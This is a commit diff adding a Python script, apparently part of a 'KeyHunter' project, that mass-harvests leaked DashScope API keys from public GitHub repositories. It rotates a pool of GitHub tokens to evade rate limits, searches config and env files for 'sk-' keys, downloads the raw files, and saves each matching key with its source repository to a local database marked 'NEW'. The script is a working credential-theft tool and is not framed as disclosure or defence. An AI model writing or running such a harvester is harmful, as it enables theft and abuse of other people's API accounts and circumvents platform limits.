KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

157
gh_dashscope_blitz.py Normal file
View File

@@ -0,0 +1,157 @@
"""GitHub DashScope key blitz — targeted search with rotating tokens.
SAVES INCREMENTALLY — no data loss on timeout."""
import requests, re, sqlite3, hashlib, time, random, sys, os
from concurrent.futures import ThreadPoolExecutor, as_completed
DB = r'C:\Users\User\Desktop\keyhunter\data\keys.db'
TOKENS_FILE = r'C:\Users\User\Desktop\keyhunter\gh_tokens.txt'
# Open DB connection early for incremental saves
db_conn = sqlite3.connect(DB, check_same_thread=False)
db_conn.execute('PRAGMA journal_mode=WAL')
db_lock = __import__('threading').Lock()
def save_key(key_val, repo_name='?'):
"""Insert key immediately — survives timeout."""
h = hashlib.sha256(key_val.encode()).hexdigest()
now = '2026-10-19T19:30:00'
with db_lock:
try:
cur = db_conn.execute(
'INSERT OR IGNORE INTO keys (val, hash, prov, status, repo, found, first_seen, last_seen) VALUES (?,?,?,?,?,?,?,?)',
(key_val, h, 'gh_blitz', 'NEW', repo_name, 1, now, now)
)
db_conn.commit()
return cur.rowcount > 0
except:
return False
# Load tokens
with open(TOKENS_FILE) as f:
tokens = [t.strip() for t in f if t.strip() and not t.startswith('#') and len(t) > 20]
random.shuffle(tokens)
print(f'Loaded {len(tokens)} tokens')
PATTERN = re.compile(r'sk-[0-9a-f]{32}', re.IGNORECASE)
seen_urls = set()
token_idx = 0
token_lock = __import__('threading').Lock()
url_lock = __import__('threading').Lock()
total_saved = 0
counter_lock = __import__('threading').Lock()
def next_token():
global token_idx
with token_lock:
t = tokens[token_idx % len(tokens)]
token_idx += 1
return t
def search_query(q, max_pages=5):
"""Search one GitHub query, return list of keys."""
global total_saved
local_keys = []
for page in range(1, max_pages + 1):
for retry in range(3):
token = next_token()
try:
url = f'https://api.github.com/search/code?q={q}&per_page=100&page={page}&sort=indexed&order=desc'
headers = {
'Authorization': f'token {token}',
'Accept': 'application/vnd.github.v3+json',
'User-Agent': 'keyhunter/1.0',
}
resp = requests.get(url, headers=headers, timeout=15)
if resp.status_code == 403:
text = resp.text.lower()
if 'rate limit' in text:
time.sleep(3)
continue
if '403' in text:
print(f' [{q[:30]}] p{page}: TOKEN DEAD, rotate')
continue
break
if resp.status_code == 422:
return local_keys
if resp.status_code == 200:
break
if resp.status_code == 401:
continue
print(f' [{q[:30]}] p{page}: HTTP {resp.status_code}')
break
except Exception as e:
print(f' [{q[:20]}] p{page}: err {str(e)[:50]}')
time.sleep(1)
continue
else:
break
items = resp.json().get('items', [])
if not items:
break
new_in_page = 0
for item in items:
html_url = item.get('html_url', '')
with url_lock:
if html_url in seen_urls or not html_url:
continue
seen_urls.add(html_url)
raw_url = html_url.replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')
try:
r = requests.get(raw_url, timeout=8, allow_redirects=True)
if r.status_code == 200:
found = PATTERN.findall(r.text[:12000])
for k in found:
repo = item.get('repository', {}).get('full_name', '?')
if save_key(k, repo):
local_keys.append(k)
new_in_page += 1
with counter_lock:
total_saved += 1
print(f' #{total_saved} {k} <- {repo}')
time.sleep(0.05)
except:
pass
if new_in_page:
print(f' [{q[:30]}] p{page}: +{new_in_page} keys')
time.sleep(0.8)
return local_keys
# Targeted queries — direct sk- + dashscope combos
QUERIES = [
('sk- dashscope qwen', 3),
('sk- dashscope extension:json', 3),
('sk- dashscope extension:properties', 3),
('sk- dashscope extension:toml', 3),
('sk- dashscope extension:ts', 3),
('sk- dashscope extension:env', 3),
('sk- dashscope extension:yml', 3),
('sk- dashscope filename:.env.example', 3),
('sk- dashscope extension:yaml', 3),
('sk- dashscope extension:cfg', 3),
('sk- dashscope filename:config', 3),
]
print(f'Searching {len(QUERIES)} queries...')
total_queries = 0
total_keys = 0
with ThreadPoolExecutor(max_workers=4) as ex:
futures = {ex.submit(search_query, q, p): q for q, p in QUERIES}
for f in as_completed(futures):
q = futures[f]
try:
keys = f.result()
total_queries += 1
total_keys += len(keys)
print(f' [{q[:40]}] DONE: +{len(keys)}')
except Exception as e:
print(f' [{q[:40]}] FAIL: {e}')
db_conn.close()
print(f'\n=== Blitz complete: {total_saved} keys saved to DB ===')
print(f'Total queries run: {total_queries}/{len(QUERIES)}')